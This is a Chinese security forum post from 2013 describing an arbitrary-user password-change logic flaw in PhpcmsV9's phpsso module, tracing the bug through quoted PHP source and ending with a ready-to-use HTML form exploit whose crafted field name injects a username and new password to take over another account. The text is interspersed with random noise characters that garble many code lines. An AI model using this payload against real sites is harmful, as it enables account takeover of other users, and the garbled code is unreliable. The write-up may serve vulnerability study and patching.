找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1913|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:
9 v2 n) Q$ g  M0 _$ m$ j' [2 L. a' [7 g& U9 J

" w. Z! w% j+ b8 cparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
, a7 D' s8 n1 u9 K' \0 q2 r; G; v6 X2 a# d/ r! J0 c9 ?; k
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。  d* l* J* N! ^( `2 {
) g( l- c7 `, P9 Q/ Y: B. k& y& J
我把它留给了你们。
% [, w. X/ [- C5 s) b; D) w不知道你们发现了它没有。
; s" q5 d1 ?: r. H# x
& g' I' j# z; E  t我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ x8 f7 p. P  Y0 ]# F* y1 T
/ `) G3 T6 r& [, {8 `
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
/ d( H  C- _7 k) r
0 l1 c0 M& \7 ^- J) z; l% n- x  x也就是
- g$ P) s$ q6 Z  N! `* R' D+ z) Q7 G+ _4 u! `2 O
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。3 o' l9 Z: f+ p
7 }- m9 v4 J0 m! w4 Q
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
. p: j% {6 M5 r( ~( Y) y0 s6 l  s% k
, W& s( z  W% F& p5 P
其实我们有这样的机会,看看代码,如下:
7 Q! o0 o$ v& g! S! S- X
; }/ ~. \. u* V; H
& a( f' ?: A2 Q) @2 @/ F4 npublic function auth_data($data) {8 s8 ]: j8 d# j# G* u. U+ @$ F! o: P6 g
                $s = $sep = '';
) b) x6 i0 m1 C% H7 r                foreach($data as $k => $v) {: s& X$ ~/ D( e& x
                        if(is_array($v)) {
6 `  r1 ], T- W8 k8 M6 a                                $s2 = $sep2 = '';
2 x7 n: e( X1 V% M9 K; s% {                                foreach($v as $k2 => $v2) {
% D! N! U. S$ |# `2 y5 d                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);) E& u5 g" y, c6 V
                                        $sep2 = '&';% H4 H+ v. T+ _5 M) c/ [
                                }
3 w! j8 G- ?9 k; S* U                                $s .= $sep.$s2;* V+ N6 l: u8 z: m$ r: U
                        } else {
! }  ]! r# x9 W                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
- H( B8 }4 A' ?* G( b1 D                        }8 }+ P8 E) s  I4 O' Y
                        $sep = '&';9 h) D3 _0 a' o: g$ q
                }8 j3 L4 _+ i9 j" F! u# E! w

! R! E+ O: v) I! v                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));; K% @) e2 ^( h  k& V: Q
                return $auth_s;
. F$ s1 t8 k3 H" p        }
1 ^& N- a( H' B4 [9 J# Q
, r4 g" w, i) e7 J5 z可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
& ^/ A3 `! s. X4 ]6 M; J3 V; f) r6 m* P! j" u
举个例子
& V/ v( U# I9 ]! d
: ^2 {' S5 l# O. v5 `$a[aaa=a&bbb] = 'a';
4 f# d5 i4 G, V" {( e3 ], T2 z4 ]2 `) B
会变成aaa=a&bbb=a2 U/ c# ]* d4 h
2 Z/ e/ y. J2 \  S& h# p
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
( O4 C* m' `) ~0 S5 l  x4 S9 t9 D* O( J! @% J. J. N$ l
这个时候,我们可以再去看一个函数。
& ^, u4 J# J, n- q" f' K* ~/ a% W" N; \/ @. d
就在这个文件内:
: \7 A9 W% h0 ?0 O+ A: a5 T- h& a* V9 R) ^4 z
" j% p* m; H' u& c' u  V
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {% P2 M5 \4 T$ }- i
                if($email && !$this->_is_email($email)) {
* N' n! G) _3 ~5 j- z. l" {$ Q5 Z                        return -4;
3 Z6 k+ c! T( j1 k                }- O! I3 x& R3 d9 l
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
; \1 ^5 a6 |2 U; J        }
1 S* A$ E" b* h1 R; |+ j+ H2 M7 t. `$ _# W
这是向通行证发了这样一个请求。, _9 R" @3 h/ D2 o
- K. n, S% E9 S1 C5 e
我们再跟到通信证代码里去看看,就会有所发现。
9 I6 P0 O! H+ Z( d$ c( z
9 l8 ^9 y( I+ D6 X  _$ U; U2 z/ P. `. ^
public function edit() {; H; p! C, X; ~$ R* @1 Q
//能省就省,太长了不是吗?
9 K4 ]# c, q$ S2 ]: Q/ b8 }- P, k9 u$ e( v2 A( W
if($this->username) {6 A, o9 n4 K: D% x4 K
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
+ U. E" A1 {5 h# B) C                                $res = $this->db->update($data, array('username'=>$this->username));
" a  k% @" w- Z1 Y                        } else {- k# r4 ~  b- B" i2 g
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);6 c$ R! g; n5 J
                                $res = $this->db->update($data, array('uid'=>$this->uid));( i& d; z8 b& m$ p
                        }( \/ k! x* D2 \% B
! R: ~5 W% V; D
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
: J) V* A: O7 D) d+ G0 X" ^7 R/ B. Q" U
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')/ S8 e2 }9 J/ B) Q
6 W9 L% v- Q$ Z4 K$ U
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: o  m5 d+ D# C; W
& V* `5 K& X0 _/ c( X) x我当然找到了:
  E- Z8 G6 [, a* y, c4 i5 H" A6 Hphpcms9/phpcms/modules/member/index.php& D0 V& ?& W) b$ q: [0 ^

& }# q3 ]3 e7 `$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
+ O; S& B+ S3 `
1 h& M9 @) d4 b; ]; B% ^2 `9 N然后就没有然后了。' b  T! W( |$ X- ?& Y; Y7 s4 k: ?( Q) Y
: W+ l- G- |( m5 u8 @! q  o% S: j
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
) k3 ~( ^, f$ y4 t* x) s. K5 ^% d; D                                <table width="100%" cellspacing="0" class="table_form">8 ?6 X8 @; n: G$ K
                                        <tr>5 T- t7 F: r9 t$ P) _: f/ B
                                                <th width="80">邮箱:</th>        * f/ I6 i& U9 Z5 l% y, W  v
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>1 [9 m  b/ q2 z- R. f/ x
                                        </tr>; E/ p, p5 O' M- f2 _8 R( o
                                        <tr>
0 B( i9 x, N, u1 v+ Q$ q                                                <th width="80">原密码:</th>        4 K6 D6 {- z; I% ]6 i" v, Q
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>6 h/ O  G# ~" |" Z
                                        </tr>; m# Q* h* L  j0 q" P. K
                                        <tr>- A5 y8 q4 ?& ^
                                                <th>新密码:</th>
* `8 p# T) C5 G+ i' l! b                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
- C; T) T: n4 d; R) \                                        </tr>
& m1 X$ T: R; e* h                                        <th></th>
# {# p" I" n9 N! }' u/ ~9 n) N                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
) x: q) D6 g* C- ^! P                                        </tr>
$ V( E- s" b* q7 D! A! o- ]                                </table>
+ B3 k" g+ P" x& y) u
9 D% l6 a0 w: M# j3 [                               
: L2 ~& W( k- R( }7 j4 k& J                        </form>/ v, d' o) M2 G$ o  A( H! O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表